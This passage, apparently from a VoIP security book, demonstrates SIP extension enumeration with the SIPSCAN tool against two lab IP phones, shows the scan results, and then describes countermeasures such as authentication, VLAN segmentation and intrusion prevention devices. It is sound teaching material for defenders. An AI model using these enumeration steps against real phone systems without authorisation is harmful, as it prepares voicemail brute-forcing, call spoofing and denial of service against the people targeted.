Risk Rating:	4

Instead of focusing our efforts at SIP servers, SIPSCAN can also be used against some SIP phones as well. Through OPTIONS scanning, we can determine the exact extension(s) that the phone uses to log in to the SIP proxy or registrar. For instance, if we point SIPSCAN at our Cisco 7912 phone at 192.168.1.23 in our target deployment with the options selected as shown in Figure 3-7, we get the following results:

 SIPSCAN Results: Scan started Mon Mar 6 02:21:58 2006 Target SIP Server: 192.168.1.23:5060 UDP Domain: 192.168.1.103 1>\>Found a live extension/user at 203@192.168.1.103 with SIP response code(s): OPTIONS:200

Figure 3-7: Using SIPSCAN against our Cisco IP Phone 7912 to find its extension

Looking at our network diagram in Figure 2-1 in Chapter 2, we can confirm that 203 is, in fact, the extension assigned to that phone.

Let's try it on another phone just for fun. How about our Polycom IP301 SoundPoint at 192.168.1.27?

 SIPSCAN Results: Scan started Mon Mar 6 02:24:58 2006 Target SIP Server: 192.168.1.27:5060 UDP Domain: 192.168.1.103 1>\>Found a live extension/user at 207@192.168.1.103 with SIP response code(s): OPTIONS:200

That one worked too; we got a 200 OK response telling us that the 207 extension is valid.

Tip	Similar to the varying levels of success we had scanning different servers, OPTIONS scanning doesn't always work against all SIP phones because it depends on how the specific phone vendor implemented the SIP stack.

Knowing the exact extension assigned to a phone gives an attacker vital information needed to perform some of the more advanced attacks described in later chapters. Knowing the CEO's phone extension might make it easier for a hacker to brute force voicemail credentials, spoof SIP credentials and calls, and kick his phone off the network.

Countermeasurs SIP User/Extension Enumeration Countermeasures

Preventing automated enumeration of SIP extensions and usernames is difficult. Much like preventing normal port scanning, it is hard to shield services such as SIP that by its very nature needs to be exposed to a certain extent. Enabling authentication of users and usage (INVITE, REGISTER, and so on) on your SIP proxy server will prevent some types of anonymous directory scanning. However, as you saw from the previous examples, that won't always help.

A recommendation you will hear from us over and over again is to segment portions of the VoIP network on a VLAN separate from the traditional data network. This will help mitigate a variety of threats, including enumeration. This is not always possible with some SIP architectures that include softphones residing on the user's PC.

There are also some VoIP intrusion prevention devices that can detect a rapid succession of INVITE, OPTIONS, or REGISTER probes against a SIP proxy target and block the source address from further scanning. These devices are available from multiple vendors , including SecureLogix (www.securelogix.com), Sipera (www.sipera.com), and BorderWare (www.borderware.com), and can be deployed at various locations in the network, such as "in front" of the SIP proxy/registrar and/or on a connection to the public network for SIP trunks.